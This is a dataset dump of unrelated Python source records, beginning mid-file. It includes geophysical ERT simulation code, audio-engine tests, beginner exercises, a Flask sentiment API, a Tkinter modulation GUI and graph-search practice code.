data.get('rhoa').array()\n # >>> phia = data.get('phia').array()\n \"\"\"\n verbose = kwargs.pop('verbose', self.verbose)\n calcOnly = kwargs.pop('calcOnly', False)\n returnFields = kwargs.pop(\"returnFields\", False)\n returnArray = kwargs.pop('returnArray', False)\n noiseLevel = kwargs.pop('noiseLevel', 0.0)\n noiseAbs = kwargs.pop('noiseAbs', 1e-4)\n\n #segfaults with self.fop (test & fix)\n fop = self.createForwardOperator(useBert=self.useBert, sr=self.sr)\n fop.data = scheme\n fop.setMesh(mesh, ignoreRegionManager=True)\n fop.verbose = verbose\n\n rhoa = None\n phia = None\n\n isArrayData = False\n # parse the given res into mesh-cell-sized array\n if isinstance(res, int) or isinstance(res, float):\n res = np.ones(mesh.cellCount()) * float(res)\n elif isinstance(res, complex):\n res = np.ones(mesh.cellCount()) * res\n elif hasattr(res[0], '__iter__'): # ndim == 2\n if len(res[0]) == 2: # res seems to be a res map\n # check if there are markers in the mesh that are not defined in\n # the rhomap. better signal here before it results in some error\n meshMarkers = list(set(mesh.cellMarkers()))\n mapMarkers = [m[0] for m in res]\n if any([mark not in mapMarkers for mark in meshMarkers]):\n left = [m for m in meshMarkers if m not in mapMarkers]\n pg.critical(\n \"Mesh contains markers without assigned resistivities {}. Please fix given rhomap.\".format(left)\n )\n res = pg.solver.parseArgToArray(res, mesh.cellCount(), mesh)\n else: # probably nData x nCells array\n # better check for array data here\n isArrayData = True\n\n if isinstance(res[0], np.complex) or isinstance(res, pg.CVector):\n pg.info(\"Complex resistivity values found.\")\n fop.setComplex(True)\n else:\n fop.setComplex(False)\n\n if not scheme.allNonZero('k') and not calcOnly:\n if verbose:\n pg.info('Calculate geometric factors.')\n scheme.set('k', fop.calcGeometricFactor(scheme))\n\n ret = pg.DataContainerERT(scheme)\n ## just be sure that we don't work with artifacts\n ret['u'] *= 0.0\n ret['i'] *= 0.0\n ret['r'] *= 0.0\n\n if isArrayData:\n rhoa = np.zeros((len(res), scheme.size()))\n for i, r in enumerate(res):\n rhoa[i] = fop.response(r)\n if verbose:\n print(i, \"/\", len(res), \" : \", pg.dur(), \"s\",\n \"min r:\", min(r), \"max r:\", max(r),\n \"min r_a:\", min(rhoa[i]), \"max r_a:\", max(rhoa[i]))\n else: # res is single resistivity array\n if len(res) == mesh.cellCount():\n\n if calcOnly:\n fop.mapERTModel(res, 0)\n\n dMap = pg.core.DataMap()\n fop.calculate(dMap)\n if fop.complex():\n pg.critical('Implement me')\n else:\n ret[\"u\"] = dMap.data(scheme)\n ret[\"i\"] = np.ones(ret.size())\n\n if returnFields:\n return pg.Matrix(fop.solution())\n return ret\n else:\n if fop.complex():\n res = pg.utils.squeezeComplex(res)\n\n resp = fop.response(res)\n\n if fop.complex():\n rhoa, phia = pg.utils.toPolar(resp)\n else:\n rhoa = resp\n else:\n print(mesh)\n print(\"res: \", res)\n raise BaseException(\"Simulate called with wrong resistivity array.\")\n\n\n if not isArrayData:\n ret['rhoa'] = rhoa\n\n if phia is not None:\n ret.set('phia', phia)\n else:\n ret.set('rhoa', rhoa[0])\n if phia is not None:\n ret.set('phia', phia[0])\n\n if returnFields:\n return pg.Matrix(fop.solution())\n\n if noiseLevel > 0: # if errors in data noiseLevel=1 just triggers\n if not ret.allNonZero('err'):\n # 1A and #100µV\n ret.set('err', self.estimateError(ret,\n relativeError=noiseLevel,\n absoluteUError=noiseAbs,\n absoluteCurrent=1))\n print(\"Data error estimate (min:max) \",\n min(ret('err')), \":\", max(ret('err')))\n\n rhoa *= 1. + pg.math.randn(ret.size()) * ret('err')\n ret.set('rhoa', rhoa)\n\n ipError = None\n if phia is not None:\n if scheme.allNonZero('iperr'):\n ipError = scheme('iperr')\n else:\n # np.abs(self.data(\"phia\") +TOLERANCE) * 1e-4absoluteError\n if noiseLevel > 0.5:\n noiseLevel /= 100.\n\n if 'phiErr' in kwargs:\n ipError = np.ones(ret.size()) * kwargs.pop('phiErr') / 1000\n else:\n ipError = abs(ret[\"phia\"]) * noiseLevel\n\n if verbose:\n print(\"Data IP abs error estimate (min:max) \",\n min(ipError), \":\", max(ipError))\n\n phia += pg.math.randn(ret.size()) * ipError\n ret['iperr'] = ipError\n ret['phia'] = phia\n\n # check what needs to be setup and returned\n\n if returnArray:\n if phia is not None:\n return rhoa, phia\n else:\n return rhoa\n\n return ret\n\n def checkData(self, data):\n \"\"\"Return data from container.\n THINKABOUT: Data will be changed, or should the manager keeps an own copy?\n \"\"\"\n if isinstance(data, pg.DataContainer):\n\n if not data.allNonZero('k'):\n pg.warn(\"Data file contains no geometric factors (token='k').\")\n data['k'] = createGeometricFactors(data, verbose=True)\n\n if self.fop.complex():\n if not data.haveData('rhoa'):\n pg.critical('Datacontainer have no \"rhoa\" values.')\n if not data.haveData('ip'):\n pg.critical('Datacontainer have no \"ip\" values.')\n\n #pg.warn('check sign of phases')\n rhoa = data['rhoa']\n phia = -data['ip']/1000 # 'ip' is defined for neg mrad.\n # we should think about some 'phia' in rad\n\n return pg.utils.squeezeComplex(pg.utils.toComplex(rhoa, phia))\n\n else:\n if not data.haveData('rhoa'):\n\n if data.allNonZero('r'):\n pg.info(\"Creating apparent resistivies from \"\n \"impedences rhoa = r * k\")\n data['rhoa'] = data['r'] * data['k']\n elif data.allNonZero('u') and data.allNonZero('i'):\n pg.info(\"Creating apparent resistivies from \"\n \"voltage and currrent rhoa = u/i * k\")\n data['rhoa'] = data['u']/data['i'] * data['k']\n else:\n pg.critical(\"Datacontainer have neither: \"\n \"apparent resistivies 'rhoa', \"\n \"or impedances 'r', \"\n \"or voltage 'u' together with current 'i' values.\")\n\n return data['rhoa']\n\n return data\n\n\n def checkErrors(self, err, dataVals):\n \"\"\"Return relative error. Default we assume 'err' are relative vales.\n \"\"\"\n if isinstance(err, pg.DataContainer):\n rae = None\n\n if not err.allNonZero('err'):\n pg.warn(\"Datacontainer have no 'err' values. \"\n \"Fallback of 1mV + 3% using ERTManager.estimateError(...) \")\n rae = self.estimateError(err, absoluteError=0.001,\n relativeError=0.03)\n else:\n rae = err['err']\n\n if self.fop.complex():\n\n ipe = None\n\n if err.haveData('iperr'):\n amp, phi = pg.utils.toPolar(dataVals)\n # assuming ipErr are absolute dPhi in mrad\n ipe = err['iperr'] / abs((phi*1000))\n else:\n pg.warn(\"Datacontainer have no 'iperr' values. \"\n \"Fallback set to 0.01\")\n ipe = np.ones(err.size()) * 0.01\n\n # pg._y(\"err\", min(rae), max(rae), rae)\n # pg._y(\"iperr\", min(ipe), max(ipe), ipe)\n return pg.cat(rae, ipe)\n\n return rae\n\n\n def estimateError(self, data, absoluteError=0.001, relativeError=0.03,\n absoluteUError=None, absoluteCurrent=0.1):\n \"\"\" Estimate error composed of an absolute and a relative part.\n This is a static method and will not alter any member of the Manager\n\n Parameters\n ----------\n absoluteError : float [0.001]\n Absolute data error in Ohm m. Need 'rhoa' values in data.\n\n relativeError : float [0.03]\n relative error level in %/100\n\n absoluteUError : float [0.001]\n Absolute potential error in V. Need 'u' values in data. Or\n calculate them from 'rhoa', 'k' and absoluteCurrent if no 'i'\n is given\n\n absoluteCurrent : float [0.1]\n Current level in A for reconstruction for absolute potential V\n\n Returns\n -------\n error : Array\n \"\"\"\n\n if relativeError >= 0.5:\n print(\"relativeError set to a value > 0.5 .. assuming this \"\n \"is a percentage Error level dividing them by 100\")\n relativeError /= 100.0\n\n if absoluteUError is None:\n if not data.allNonZero('rhoa'):\n pg.critical(\"We need apparent resistivity values \"\n \"(rhoa) in the data to estimate a \"\n \"data error.\")\n error = relativeError + absoluteError / data('rhoa')\n else:\n u = None\n i = absoluteCurrent\n if data.haveData(\"i\"):\n i = data('i')\n\n if data.haveData(\"u\"):\n u = data('u')\n else:\n if data.haveData(\"r\"):\n u = data('r') * i\n elif data.haveData(\"rhoa\"):\n if data.haveData(\"k\"):\n u = data('rhoa') / data('k') * i\n else:\n pg.critical(\"We need (rhoa) and (k) in the\"\n \"data to estimate data error.\")\n\n else:\n pg.critical(\"We need apparent resistivity values \"\n \"(rhoa) or impedances (r) \"\n \"in the data to estimate data error.\")\n\n error = pg.abs(absoluteUError / u) + relativeError\n\n return error\n\n def coverage(self):\n \"\"\"Return coverage vector considering the logarithmic transformation.\n \"\"\"\n covTrans = pg.core.coverageDCtrans(self.fop.jacobian(),\n 1.0 / self.inv.response,\n 1.0 / self.inv.model)\n\n paramSizes = np.zeros(len(self.inv.model))\n for c in self.fop.paraDomain.cells():\n paramSizes[c.marker()] += c.size()\n\n return np.log10(covTrans / paramSizes)\n\n def standardizedCoverage(self, threshhold=0.01):\n \"\"\"Return standardized coverage vector (0|1) using thresholding.\n \"\"\"\n return 1.0*(abs(self.coverage()) > threshhold)\n\n\ndef createERTData(elecs, schemeName='none', **kwargs):\n \"\"\" Simple data creator for compatibility (advanced version in BERT).\n\n Parameters\n ----------\n sounding : bool [False]\n Create a 1D VES Schlumberger configuration.\n elecs need to be an array with elecs[0] = mn/2 and elecs[1:] = ab/2.\n\n \"\"\"\n if kwargs.pop('sounding', False):\n data = pg.DataContainerERT()\n data.setSensors(pg.cat(-elecs[::-1], elecs))\n\n nElecs = len(elecs)\n for i in range(nElecs-1):\n data.createFourPointData(i, i, 2*nElecs-i-1, nElecs-1, nElecs)\n\n return data\n\n if schemeName != \"dd\":\n import pybert as pb # that's bad!!! TODO: remove pybert deps\n return pb.createData(elecs, schemeName, **kwargs)\n\n isClosed = kwargs.pop('closed', False)\n\n data = pg.DataContainerERT()\n data.setSensors(elecs)\n\n nElecs = len(elecs)\n a = []\n b = []\n m = []\n n = []\n eb = 0\n for i in range(nElecs):\n for j in range(eb + 2, nElecs):\n ea = i\n eb = ea + 1\n em = j\n en = em + 1\n\n if isClosed:\n en = en % nElecs\n\n if en < nElecs and en != ea:\n a.append(ea)\n b.append(eb)\n m.append(em)\n n.append(en)\n\n data.resize(len(a))\n data.add('a', a)\n data.add('b', b)\n data.add('m', m)\n data.add('n', n)\n data.set('valid', np.ones(len(a)))\n\n return data\n\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"pygimli/physics/ert/ert.py","file_name":"ert.py","file_ext":"py","file_size_in_byte":39698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"35496124","text":"import pytest\nfrom os.path import abspath\n\nfrom utils import *\nimport dawdreamer as daw\n\nBUFFER_SIZE = 1\n\ndef test_playbackwarp_processor1():\n\n\tDURATION = 10.\n\n\tengine = daw.RenderEngine(SAMPLE_RATE, BUFFER_SIZE)\n\n\tengine.set_bpm(140.)\n\n\tdrums = engine.make_playbackwarp_processor(\"drums\",\n\t\tload_audio_file(\"assets/Music Delta - Disco/drums.wav\", duration=DURATION))\n\n\tassert(drums.set_clip_file(abspath(\"assets/Music Delta - Disco/drums.wav.asd\")))\n\n\tother = engine.make_playbackwarp_processor(\"other\",\n\t\tload_audio_file(\"assets/Music Delta - Disco/other.wav\", duration=DURATION))\n\n\tassert(other.set_clip_file(abspath(\"assets/Music Delta - Disco/other.wav.asd\")))\n\n\tprint('drums.start_marker: ', drums.start_marker)\n\tprint('drums.end_marker: ', drums.end_marker)\n\tprint('drums.loop_on: ', drums.loop_on)\n\tprint('drums.loop_start: ', drums.loop_start)\n\tprint('drums.loop_end: ', drums.loop_end)\n\tprint('drums.warp_on: ', drums.warp_on)\n\n\tgraph = [\n\t (drums, []),\n\t (other, []),\n\t (engine.make_add_processor(\"add\", [1., 1.]), [\"drums\", \"other\"])\n\t]\n\n\tassert(engine.load_graph(graph))\n\n\trender(engine, file_path='output/test_playbackwarp_processor1a.wav')\n\n\tother.transpose = 2.\n\n\trender(engine, file_path='output/test_playbackwarp_processor1b.wav')\n\n\tother.set_automation('transpose', make_sine(1., DURATION))\n\n\trender(engine, file_path='output/test_playbackwarp_processor1c.wav')\n\ndef test_playbackwarp_processor2():\n\n\tDURATION = 10.\n\n\tengine = daw.RenderEngine(SAMPLE_RATE, BUFFER_SIZE)\n\n\t# Pick 120 because it's easy to analyze for timing in Audacity.\n\t# 1 second is two quarter notes.\n\tengine.set_bpm(120.)\n\n\tdrums = engine.make_playbackwarp_processor(\"drums\",\n\t\tload_audio_file(\"assets/Music Delta - Disco/drums.wav\", duration=DURATION))\n\n\tassert(drums.set_clip_file(abspath(\"assets/Music Delta - Disco/drums.wav.asd\")))\n\n\tdrums.start_marker = 0.\n\tdrums.loop_on = True\n\tassert(drums.loop_on)\n\n\tgraph = [\n\t (drums, []),\n\t]\n\n\tassert(engine.load_graph(graph))\n\n\tdrums.set_clip_positions([[0., 4., 0.], [5., 9., 0.]])\n\n\trender(engine, file_path='output/test_playbackwarp_processor2a.wav')\n\n\tdrums.set_clip_positions([[0., 4., 0.]])\n\tdrums.start_marker = 0.\n\tdrums.loop_start = 1.\n\tdrums.loop_end = 2.\n\n\trender(engine, file_path='output/test_playbackwarp_processor2b.wav')\n\n\tdrums.start_marker = 0.\n\tdrums.loop_start = 3.\n\tdrums.loop_end = 4.\n\tdrums.set_clip_positions([[0., 2., 0.], [3., 9., 3.]])\n\n\trender(engine, file_path='output/test_playbackwarp_processor2c.wav')","sub_path":"tests/test_playbackwarp_processor.py","file_name":"test_playbackwarp_processor.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"325034004","text":"#Find and return number of trailing 0s in n factorial without calculating n factorial.\n#find and correct the error in the following code\n\nnum=int(input())\nans=0\nwhile num>=0:\n num //=5\n ans +=n\n \nprint(ans)\n","sub_path":"Python/Errors/trailing zeroes in n!.py","file_name":"trailing zeroes in n!.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"254904975","text":"'''\nA hash function takes an input (string) and changes it into an integer\n'''\n\n\ndef naive_hashing(str, list_len):\n bytes_representation = str.encode()\n\n sum = 0\n for byte in bytes_representation:\n sum += byte\n return sum % list_len\n\n\nstarter_colours = [(\"aqua\", \"#00FFFF\"),\n (\"beige\", \"#F5F5DC\"),\n (\"chartreuse\", \"#7FFF00\"),\n (\"deepskyblue\", \"#00BFFF\"),\n (\"forestgreen\", \"#228B22\")]\n\ncolours = [None] * len(starter_colours)\n\nfor color_name, color_value in starter_colours:\n colours[naive_hashing(color_name, len(starter_colours))] = color_value\n\n\n'''\nThe General Problem the Hash Table Solve\n----------------------------------------\nThey search fast! O(1)\nWe can use it to store and retrieve the results of any slow operation.\nSo if we have a slow operation, we can use a hash table to optimize it.\nCache is an application of a hash table.\nRainbow table: https://en.wikipedia.org/wiki/Rainbow_table\n\n'''\n\nif __name__ == \"__main__\":\n print(colours[naive_hashing('aqua', len(colours))])\n","sub_path":"notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"373032294","text":"def greet(str):\n return \"Hello, {}.\".format(str)\n\n\ndef sum_up(number):\n nums = len(str(number))\n total = 0\n for num in range(nums):\n total += int(str(number)[num])\n print(total)\n\n\ndef first_last(string):\n total = \"\"\n for string1 in string.split():\n total += string1[0] + string1[-1] + \" \"\n return total.strip()\n\ndef binary_words(string):\n total = \"\"\n for string1 in string.split():\n if len(string1) % 2 == 0:\n total += \"0\"\n else:\n total += \"1\"\n return total\n\n\ndef fast_food(list):\n food = []\n i = 0\n while i < list[0]:\n food.append(\"Burgers\")\n i += 1\n i = 0\n while i < list[1]:\n food.append(\"Fries\")\n i += 1\n i = 0\n while i < list[2]:\n food.append(\"Drinks\")\n i += 1\n return food\n\n\ndef tacos(list):\n item = 0\n while item < len(list):\n if (list[item] != 'beef' and list[item] != 'cheese' and\n list[item] != 'lettuce' and list[item] != 'tomato'\n and list[item] != 'salsa'):\n stuff = list[item]\n list.remove(stuff)\n item -= 1\n item += 1\n return list\n\n\ndef groceries(list):\n list1 = []\n list2 = []\n list3 = []\n item = 0\n while item < len(list):\n if int((list[item])[:2]) < 33:\n list1.append((list[item])[3:])\n if int((list[item])[:2]) >= 33 and int((list[item])[:2]) <= 40:\n list2.append((list[item])[3:])\n if int((list[item])[:2]) > 40:\n list3.append((list[item])[3:])\n item += 1\n total = [list1, list2, list3]\n return total\n\n\ndef expand(num):\n total = ''\n count = 0\n while count < len(str(num)):\n if int(str(num)[count]) != 0:\n total += str(num)[count] + '0' * (len(str(num))-count-1)\n if len(str(num))-count-1 > 0:\n total += ' + '\n count += 1\n return total\n\nprint(expand(502))\n\ndef phone_filter(list):\n count = 0\n total = 0\n while count < len(list):\n if ((int(str(list[count])[5:6]) == 2 or int(str(list[count])[5:6]) == 3 or\n int(str(list[count])[5:6]) == 7) and\n ((int(str(list[count])[6:7]) == 7 or int(str(list[count])[6:7]) == 8 or\n int(str(list[count])[6:7]) == 9)) and (int(str(list[count])[7:8]) % 2 == 0)):\n total += 1\n count += 1\n return total\n\nlist = [\"(854)584-7485\"]\ndef word_sort(string):\n list = string.split()\n list = sorted(list, key=len)\n count = 0\n total = \"\"\n while count < len(list):\n total += list[count]\n total += \" \"\n count += 1\n return total.strip()\n\n\ndef box(num):\n X = 'X'\n S = ' '\n middle = ''\n list = []\n count = 0\n while count < num:\n if count == 0 or count == num-1:\n list.append(X*num)\n else:\n middle += X\n middle += S * (num-2)\n middle += X\n list.append(middle)\n count += 1\n middle = ''\n return list\n\n\ndef index_cipher(list):\n total = ''\n cipher = ''\n count = 0\n while count < len(list[0]):\n cipher += str(list[0])[count]\n count += 1\n\n count = 0\n while count < len(list[1]):\n total += cipher[int(str(((list[1]))[count]))]\n count += 1\n\n return total\n\n\ndef find_the_unique_number(list):\n '''list of int'''\n total = 0\n count = 0\n while count < len(list):\n if list.count(list[count]) == 1:\n total = list[count]\n break\n count += 1\n return total\n\n\ndef fizzbuzz(num):\n if num % 3 == 0 and num % 5 == 0:\n return 'FizzBuzz'\n elif num % 3 == 0:\n return 'Fizz'\n elif num % 5 == 0:\n return 'Buzz'\n else:\n return str(num)\n\nprint(fizzbuzz(7))\n\n\ndef simple_blackjack(list):\n count = 0\n found = 0\n while count < len(list):\n if list[count] == 11 and found == 0:\n list[count] = 1\n found = 1\n if list[count] > 11:\n return -1\n count += 1\n if sum(list) > 21:\n if found == 1:\n return (sum(list) + 10)\n else:\n return 0\n else:\n return sum(list)\n\nlist = [11, 10]\nlist1 = [3, 5, 11, 11]\n","sub_path":"CWOTest.py","file_name":"CWOTest.py","file_ext":"py","file_size_in_byte":4233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"234353066","text":"from flask import Flask, jsonify, request\nimport pickle\nfrom Sastrawi.Stemmer.StemmerFactory import StemmerFactory\nimport os\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\n\napp = Flask(__name__)\n\ndef preprocessing(kalimat):\n\n # mengubah seluruh huruf pada kalimat menjadi lower-case\n kalimat = str(kalimat).lower()\n\n # menghilangkan tanda-baca pada kalimat\n tanda_baca = ['\\n', '\"', \",\", '.', '-', '!', '?', \"'\", \")\", \"(\", '%', '$']\n for tanda in tanda_baca:\n kalimat = kalimat.replace(tanda, ' ')\n\n # menghilangkan stopwords pada kalimat yang diambil dari list stopwords pada link\n # https://github.com/masdevid/ID-Stopwords\n with open(\"stopwords-id.txt\") as f:\n stop_words = f.readlines()\n\n stop_words = [x.strip('\\n') for x in stop_words]\n\n z = kalimat.split()\n for kata in list(z):\n if kata in stop_words:\n z.remove(kata)\n kalimat = ' '.join(z)\n\n # melakukan stemming untuk setiap kata pada kalimat dengan menggunakan library Sastrawi di python\n factory = StemmerFactory()\n stemmer = factory.create_stemmer()\n kalimat = stemmer.stem(kalimat)\n\n return kalimat\n\n@app.route(\"/predict\", methods=['POST'])\ndef predict():\n if request.method == 'POST':\n\n try:\n #ambil kalimat dari json\n data = request.get_json()\n kalimat = data['kalimat']\n\n\n #preprocessing kalimat\n kalimat = [preprocessing(kalimat)]\n\n #load model tfidfvectorizer dan randomforest\n with open(\"model_RF.pkl\", \"rb\") as file_handler:\n loaded_pickle = pickle.load(file_handler)\n\n with open(\"model_tf.pkl\", \"rb\") as file_handler:\n loaded_tf = pickle.load(file_handler)\n\n # vectorisasi kalimat menggunakan model tfidefvecttorizer\n input = loaded_tf.transform(kalimat)\n\n # Asumsi nilai_sentiment didapatkan dari nilai perhitungan nilai probabilitas untuk kelas positif dikurangi nilai probabiliyas untuk kelas negatif\n # dimana nilai sentiment akan berkisar dari 1 hinggga -1 dengan nilai positif menunjukkan sentimen positif dan nilai negatif menunjukkan sentimen negatif\n # dan semakin mendekati 1 / -1 maka sentimen akan semakin kuat\n predict_proba = loaded_pickle.predict_proba(input)\n nilai_sentiment = predict_proba[0][0]-predict_proba[0][1]\n print(predict_proba)\n\n # kirim nilai sentiment / probabilitas prediksi meelalui json\n return jsonify({'prediksi':nilai_sentiment})\n\n except:\n\n return jsonify('Error')\n\n\nif __name__ == '__main__':\n app.run(debug=True, port=8900)","sub_path":"web_api.py","file_name":"web_api.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"477747838","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom PIL import Image,ImageTk\nimport graphModulatingView\nimport main\nimport random\n\nclass graphCarrierView:\n def __init__(self,window):\n #Format Window\n self.window = window\n self.window.geometry(\"1280x720+0+0\")\n self.window.title(\"Laboratorio Modulación Angular - Carvajal & Salazar\")\n # self.window.iconbitmap('images/icon.ico')\n self.window.resizable(False,False)\n #self.window.eval('tk::PlaceWindow . center')\n\n #BACKGROUND\n self.database_frame = ImageTk.PhotoImage\\\n (file='img\\graphspor_frame.png')\n self.image_panel = Label(self.window,image=self.database_frame)\n self.image_panel.pack(fill='both',expand='yes')\n\n #LABELS\n\n #Signal FM\n self.graph1 = ImageTk.PhotoImage\\\n (file='img\\graphicPorFM.png')\n self.graph1_label = Label(self.window,image= self.graph1,bg=\"white\",fg=\"#353534\",font=(\"yu gothic ui\", 18, \"bold\"))\n self.graph1_label.place(x=25, y=145)\n\n #Signal PM\n self.graph2 = ImageTk.PhotoImage\\\n (file='img\\graphicPorPM.png')\n self.graph2_label = Label(self.window,image= self.graph2,bg=\"white\",fg=\"#353534\",font=(\"yu gothic ui\", 18, \"bold\"))\n self.graph2_label.place(x=655, y=145)\n\n #BUTTON\n self.next = ImageTk.PhotoImage\\\n (file='img\\sbtnnext1.png')\n self.next_button = Button(self.window,image=self.next, relief = \"flat\", borderwidth=0, background=\"#FFE65B\",activebackground=\"#FFE65B\", cursor=\"hand2\", command=self.funnext)\n self.next_button.place(x=980,y=620)\n\n self.returnbtn = ImageTk.PhotoImage\\\n (file='img\\sbtnreturn1.png')\n self.returnbtn_button = Button(self.window,image=self.returnbtn, relief = \"flat\", borderwidth=0, background=\"#FEC667\",activebackground=\"#FEC667\", cursor=\"hand2\", command=self.funreturn)\n self.returnbtn_button.place(x=5,y=620)\n\n #Exit\n self.exit_img = ImageTk.PhotoImage \\\n (file='img\\sbtnexit.png')\n self.exit_button = Button(self.window, image=self.exit_img, relief=\"flat\", activebackground=\"#FFF157\", borderwidth=0, background=\"#FFF157\", cursor=\"hand2\", command=self.click_exit)\n self.exit_button.place(x=1200, y=25)\n\n def funnext(self):\n win = Toplevel()\n graphModulatingView.graphModulatingView(win)\n self.window.withdraw()\n win.deiconify()\n\n def funreturn(self):\n win = Toplevel()\n main.main(win)\n self.window.withdraw()\n win.deiconify()\n \n def click_exit(self):\n ask = messagebox.askyesnocancel(\"Confirmación\", \"¿Estás seguro que quieres salir?\")\n if ask is True:\n self.window.quit() \n\ndef win():\n window = Tk()\n graphCarrierView(window)\n window.mainloop()\n\nif __name__ == '__main__':\n win()","sub_path":"graphCarrierView.py","file_name":"graphCarrierView.py","file_ext":"py","file_size_in_byte":2896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"35996296","text":"# Заканчиваем прошлые задачи, украшаем работу физбазов работой со строками, списками,\n# пробуем генераторы списков и прочие новые красоты, которые выучили. Доводим код до идеала!\n\nf = open('test_unsorted.py', 'r')\nres = open('result.py', 'w') # если файла не существует, создается новый\n\nall_result_list = []\n\nfor line in f:\n b = line.split()\n for i in range(len(b)):\n b[i] = int(b[i])\n b.sort() # добавил метод сортировки, на случай, если вводные данные написаны в случайном порядке, как данные с test_unsorted.py\n\n fizz = int(b[0])\n buzz = int(b[1])\n value3 = int(b[2])\n print(' ')\n\n for i in range(1, value3 + 1):\n if (i % fizz == 0) and (i % buzz == 0):\n res.write('FB ')\n elif i % fizz == 0:\n res.write('F ')\n elif i % buzz == 0:\n res.write('B ')\n else:\n all_result_list.append(str(i))\n res.write(str(i) + ' ')\n res.write('\\n')\nf.close()\nres.close()\nprint('Everything is recorded in result.py and append in list')\n\n# выше создали список, в который добавили только числа\n\nall_result_list = list(map(int, all_result_list)) # конвертируем каждый елемент списка с str в int\n\nall_result_list.sort() # сортируем по порядке\nall_result_list.reverse() # сортируем в обратном порядке\nprint(all_result_list)\n\n# создаем генератор списка, который умножает все данные списка all_result_list\ntest_list = [i * 2 for i in all_result_list]\nprint(test_list)\n\n# Вывод:\n# [59, 58, 57, 56, 55, 54, 54, 53, 53, 52, 51, 51, 50, 49, 49, 49, 48, 47, 47, 47, 46, 46, 46, 45, 45, 45, 44, 43, 43, 43, 43, 43, 42, 42, 42, 42, 41....\n# [118, 116, 114, 112, 110, 108, 108, 106, 106, 104, 102, 102, 100, 98, 98, 98, 96, 94, 94, 94, 92, 92, 92, 90, 90, 90, 88, 86, 86, 86, 86, 86, 84, 84, 84, 84.....\n","sub_path":"HW4/Lesson 4 Task 2.py","file_name":"Lesson 4 Task 2.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"200045807","text":"# Copyright (c) 2022 Red Hat, Inc.\n#\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\nfrom __future__ import absolute_import\n\nimport functools\nimport os\nimport typing\nimport unittest\n\nimport testtools\n\nfrom tobiko import run\n\n\ndef nested_test_case(test_method: typing.Callable[[testtools.TestCase], None]):\n\n @functools.wraps(test_method)\n def wrapper(self: unittest.TestCase):\n nested_counter = int(os.environ.get('NESTED_TEST_CASE', 0))\n if not nested_counter:\n os.environ['NESTED_TEST_CASE'] = str(nested_counter + 1)\n try:\n test_method(self)\n finally:\n if nested_counter:\n os.environ['NESTED_TEST_CASE'] = str(nested_counter)\n else:\n os.environ.pop('NESTED_TEST_CASE')\n return wrapper\n\n\nclass RunTestsTest(unittest.TestCase):\n\n @nested_test_case\n def test_run_tests(self):\n result = run.run_tests(__file__)\n self.assertGreater(result, 0)\n","sub_path":"tobiko/tests/functional/run/test_run.py","file_name":"test_run.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"248524280","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 20 18:48:07 2020\n\n@author: sw1906\n\"\"\"\n\nimport pandas as pd\n\ncols= ['chr', 'pos', 'Name', 'UCSC_RefGene_Name', 'logFC',\n 'P.Value', 'adj.P.Val' ]\n\n\nTwinFemData = pd.read_csv('RP2DNAmTwin_DMPsDiseaseStatusFemales.csv',header = 0)\nTwinFemData = TwinFemData[cols]\n\nTwinMalData = pd.read_csv('RP2DNAmTwin_DMPsDiseaseStatusMales.csv', header = 0)\nTwinMalData = TwinMalData[cols]\n\nSSU72Fem = TwinFemData[TwinFemData['UCSC_RefGene_Name'] == 'SOCS3']\nSSU72Mal = TwinMalData[TwinMalData['UCSC_RefGene_Name'] == 'SOCS3']\n","sub_path":"RP2_DNAmTwin_GeneSearch.py","file_name":"RP2_DNAmTwin_GeneSearch.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"448568351","text":"from sys import stdin\n\n\nclass Node:\n def __init__(self):\n self.children = []\n self.ratatosk = False\n\n\ndef dfs(root):\n stack = [(root, 0)]\n while stack:\n temp, depth = stack.pop()\n if temp.ratatosk:\n return depth\n stack.extend((child, depth + 1) for child in temp.children)\n\n\ndef bfs(root):\n queue = [(root, 0)]\n while queue:\n temp, depth = queue.pop(0)\n if temp.ratatosk:\n return depth\n queue.extend((child, depth + 1) for child in temp.children)\n\n\nsearch_function = stdin.readline().strip()\ntotal_nodes = int(stdin.readline())\nnodes = [Node() for __ in range(total_nodes)]\nroot = nodes[int(stdin.readline())]\nratatosk_node = nodes[int(stdin.readline())]\nratatosk_node.ratatosk = True\nfor line in stdin:\n number = line.split()\n temp_node = nodes[int(number.pop(0))]\n temp_node.children.extend(nodes[int(child)] for child in number)\n\n\nif search_function == 'dfs':\n print(dfs(root))\nelse:\n print(bfs(root))\n","sub_path":"oving_8/ratatosk.py","file_name":"ratatosk.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"184051858","text":"\ndef my_range(n):\n output=[]\n i = 0\n while i < n:\n 